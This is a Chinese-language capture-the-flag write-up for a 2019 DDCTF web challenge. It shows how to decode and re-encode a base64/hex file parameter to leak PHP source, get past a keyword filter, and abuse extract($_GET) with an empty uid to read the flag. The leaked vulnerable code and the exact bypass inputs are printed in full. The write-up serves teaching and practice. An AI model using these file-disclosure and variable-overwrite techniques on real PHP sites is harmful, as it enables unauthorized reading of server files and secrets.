滴~

作者: Yix1a | 来源:发表于2019-04-26 11:40 被阅读0次
    • 解题步骤

    • 观察URL里面的内容http://117.51.150.246/index.php?jpg=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3现jpg参数指向一串加密编码。
    • 发现编码一个数字开头的字符串,两次base64加密后必然是T开头的。三次base64加密后必然是V开头的。
    • TmprMlpUWTBOalUzT0RKbE56QTJPRGN3解两次base64解密,再转换一次ascii,即为明文的flag.jpg
    • 观察到明文是个文件名,所以构造一个URL里面有的文件名(index.php即TmprMlpUWTBOalUzT0RKbE56QTJPRGN3)传进去看看。
    • 通过下面的base64图片加密,得到index.php的内容。
      u«Z:�f {ø"f;m«�64,<?php
      /*
       * https://blog.csdn.net/FengBanLiuYun/article/details/80616607
       * Date: July 4,2018
       */
      error_reporting(E_ALL || ~E_NOTICE);
    
    
      header('content-type:text/html;charset=utf-8');
      if(! isset($_GET['jpg']))
            header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOd  z09');
      $file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
      echo '<title>'.$_GET['jpg'].'</title>';
      $file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
      echo $file.'</br>';
      $file = str_replace("config","!", $file);
      echo $file.'</br>';
      $txt = base64_encode(file_get_contents($file));
    
      echo "<img src='data:image/gif;base64,".$txt."'></img>";
      /*
       * Can you find the flag file?
       *
       */
    
      ?>
    
    • 观察代码,你会发现里面有一个博客地址和博客日期(重点)
    • 进入该博客的那个日期的文章,里面的文件名一个个试(不要加点)
    • 从图片加密中得到一个文件名字f1ag!ddctf.php
    • 发现里面有个!会被过滤,观察上述得到的index.php,用f1agconfigddctf.php绕过。
    • 得到代码
    u«Z:�f {ø"f;m«�64,<?php
    include('config.php');
    $k = 'hello';
    extract($_GET);
    if(isset($uid))
    {
        $content=trim(file_get_contents($k));
        if($uid==$content)
        {
            echo $flag;
        }
        else
        {
            echo'hello';
        }
    }
    
    ?>
    
    • 直接在http://117.51.150.246/f1ag!ddctf.php?uid= 即可获得DDCTF{436f6e67726174756c6174696f6e73}

    • 学习心得

    • extract函数只会捕获该函数位置的前面已经定义的变量,该函数的之后不能通过extract来操作。

    • 代码中的注释是一定要注意的,这是习惯问题。

    相关文章

      网友评论

          本文标题:滴~

          本文链接:https://www.haomeiwen.com/subject/awcfnqtx.html